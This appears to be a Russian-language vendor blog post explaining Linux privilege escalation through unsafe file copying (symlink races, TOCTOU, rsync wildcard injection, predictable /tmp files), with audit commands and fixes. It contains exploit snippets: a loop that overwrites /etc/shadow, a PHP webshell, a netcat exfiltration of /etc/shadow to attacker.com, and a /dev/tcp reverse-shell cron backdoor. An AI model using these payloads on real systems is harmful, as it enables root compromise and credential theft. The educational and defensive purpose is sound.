Copy2Fail: Небезопасное копирование = эскалация привилегий в Linux

Команда cp скрывает смертельные уязвимости. Гонки симлинков, TOCTOU и rsync-инъекции превращают копирование в root-доступ.

Кратко

  • Symlink-гонка: замена цели ссылкой на /etc/shadow перед записью
  • TOCTOU: подмена файла между проверкой и копированием — webshell
  • Rsync wildcard: имена файлов становятся флагами rsync
  • Перехват temp-файлов: предсказуемые /tmp имена для бэкдора

Что такое Copy2Fail?

Класс уязвимостей, где cp, rsync, install, mv эксплуатируются через гонки состояний, symlink-атаки и ошибки прав. Встречаются в cron, бэкапах, CI/CD. Один небезопасный cp от root = полная компрометация.

Как это работает

Файловые операции Linux НЕ атомарны. Между проверкой файла и копированием другой процесс может его подменить. Между созданием файла и записью атакующий может заменить его symlink-ом. Эти микроскопические окна — и есть уязвимость.
# Что ДОЛЖНО произойти:
cp source /tmp/destination

# Что ПРОИСХОДИТ на самом деле (окно гонки):
# 1. cp открывает /tmp/destination для записи
# 2. АТАКУЮЩИЙ: rm /tmp/destination && ln -s /etc/shadow /tmp/destination
# 3. cp пишет в /etc/shadow (следуя symlink!)

Вы уязвимы? Проверьте сейчас

Найдите небезопасные паттерны на сервере:
# 1. Root cron-задачи с копированием в /tmp
sudo crontab -l | grep -i "cp.*tmp\|rsync.*tmp"

# 2. Скрипты с предсказуемыми temp-файлами (без mktemp)
grep -r "TMPFILE=\|/tmp/" /usr/local/bin/ /opt/ --include="*.sh" | grep -v mktemp

# 3. rsync с wildcards на пользовательских директориях
grep -r "rsync.*\*" /etc/cron* /usr/local/bin/ --include="*.sh"

# 4. Опции монтирования /tmp
mount | grep "/tmp"
# Если нет nosuid,nodev,noexec → /tmp открыт для атак
Любой root-скрипт, копирующий в /tmp без mktemp — эксплуатируемый.

Эксплойт 1 — Symlink Race

Root-скрипт копирует файл в предсказуемый путь. Атакующий заменяет цель симлинком на /etc/shadow.
Symlink Race — Step by Step
SOURCE
/var/app/config.bak
cp
TARGET
/tmp/config_restore
Root cron job starts cp...
# Уязвимо: cp /var/app/config.bak /tmp/config_restore (от root)

while true; do
  rm -f /tmp/config_restore
  ln -s /etc/shadow /tmp/config_restore
done &

echo 'root:$6$salt$attackerhash:19000:0:99999:7:::' > /var/app/config.bak
# Cron срабатывает → пароль root перезаписан
Полная компрометация от непривилегированного пользователя.

Эксплойт 2 — TOCTOU Race Condition

Скрипт проверяет файл, затем копирует. Между ними — подмена. Webshell развёрнут.
TOCTOU Race — Time-of-Check vs Time-of-Use
CHECK
file "$UPLOAD" → "ASCII text" ✓
GAP
~ 0.001 seconds ~
USE
cp "$UPLOAD" /var/www/html/
UPLOAD="/tmp/uploads/payload"
while true; do
  echo "Hello" > "$UPLOAD"
  sleep 0.001
  echo '<?php system($_GET["c"]); ?>' > "$UPLOAD"
done &
# Проверка → "text" → копирование → webshell → RCE

Эксплойт 3 — Rsync Wildcard Injection

Rsync с wildcards — имена файлов становятся флагами. Кража /etc/shadow или перезапись файлов.
cd /home/user/uploads/
touch -- '-e sh exploit.sh'
echo 'cat /etc/shadow | nc attacker.com 4444' > exploit.sh
# rsync -avz -e sh exploit.sh → эксфильтрация
Имена файлов как команды. Данные украдены.

Эксплойт 4 — Перехват temp-файлов

Скрипты с предсказуемыми /tmp именами. Симлинк заранее — root пишет куда скажет атакующий.
ln -sf /etc/cron.d/backdoor /tmp/install_setup.log
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > binary
# Root копирует → пишет в cron → реверс-шелл каждую минуту
Постоянный root бэкдор.

Исправление

Не доверяйте путям. Атомарные операции:
TMPFILE=$(mktemp /tmp/myapp.XXXXXX)
trap 'rm -f "$TMPFILE"' EXIT
cp --no-dereference source "$TMPFILE"
rsync -avz -- /uploads/ backup:/backups/
mv "$TMPFILE" /final/path
mktemp + --no-dereference + атомарный mv = гонки устранены.

Сканируйте с TEPTEZ. Найдите это раньше атакующих.

TEPTEZ находит небезопасные файловые операции, symlink-уязвимости и гонки состояний в скриптах и cron-задачах. Попробуйте наш DAST AI — сканирует, находит и даёт готовое исправление.

Попробовать TEPTEZ